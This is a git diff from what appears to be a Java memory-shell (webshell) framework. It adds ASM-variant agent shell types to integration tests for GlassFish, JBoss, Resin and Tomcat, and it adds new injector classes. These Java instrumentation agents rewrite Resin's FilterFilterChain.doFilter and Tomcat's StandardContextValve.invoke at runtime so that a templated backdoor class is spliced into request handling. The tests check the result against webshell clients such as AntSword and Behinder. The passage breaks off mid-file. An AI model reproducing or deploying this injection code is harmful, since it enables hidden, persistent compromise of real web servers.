b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index 26cdac5f..b48dd98a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -58,7 +58,13 @@ public class GlassFish4ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 614cf558..ef06f1e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -51,7 +51,13 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 2c705884..d73583fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -51,7 +51,13 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index a31e01ce..3ed968e4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -51,7 +51,13 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index e5c93680..4b26b661 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -51,7 +51,13 @@ public class GlassFish7ContainerTest { static Stream casesProvider() { Server server = Server.GlassFish; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 7ad32ed3..b251cfad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -51,8 +51,13 @@ public class Jboss423ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 80e10df1..90c41ccc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -51,8 +51,13 @@ public class Jboss510ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 99d61234..0a123c6d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -51,8 +51,13 @@ public class Jboss610ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 891b2ff2..dd9613a4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -54,8 +54,12 @@ public class Jboss711ContainerTest { */ static Stream casesProvider() { Server server = Server.JBossAS; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index dac95558..56265640 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -52,7 +52,11 @@ public class Resin3116ContainerTest { static Stream casesProvider() { Server server = Server.Resin; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 3dfcc3eb..dbf19984 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -51,7 +51,11 @@ public class Resin318ContainerTest { static Stream casesProvider() { Server server = Server.Resin; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 786ef1b8..ab4bd941 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -51,7 +51,11 @@ public class Resin4058ContainerTest { static Stream casesProvider() { Server server = Server.Resin; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 94e83752..85bd6cf3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -51,7 +51,11 @@ public class Resin4067ContainerTest { static Stream casesProvider() { Server server = Server.Resin; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); + List supportedShellTypes = List.of( + ShellType.FILTER, ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index b84ca61f..c39ee476 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -51,8 +51,16 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 11e6e51b..24ff15a5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -52,8 +52,16 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index a8689e75..48cdc709 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -53,8 +53,16 @@ public class Tomcat11JRE21ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index b19ec75d..0652ff84 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -53,7 +53,10 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 003f84aa..43b765bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -51,8 +51,14 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 2c6cbfaf..142e44fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -51,8 +51,15 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 8c07507f..70697a49 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -53,8 +53,15 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 1efdea86..00ff983f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -51,8 +51,15 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { Server server = Server.Tomcat; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/memshell/build.gradle b/memshell/build.gradle index 96e7a9eb..7f9e9bd5 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -12,6 +12,7 @@ java { dependencies { implementation 'net.bytebuddy:byte-buddy' + implementation 'org.ow2.asm:asm-commons' implementation 'javax.servlet:javax.servlet-api' implementation 'javax.websocket:javax.websocket-api' } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java new file mode 100644 index 00000000..9b40ccd9 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java @@ -0,0 +1,96 @@ +package com.reajason.javaweb.memshell.injector.resin; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ResinFilterChainAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + return (MethodVisitor) constructor.newInstance(mv); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java new file mode 100644 index 00000000..14b62760 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public TomcatContextValveAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name) && 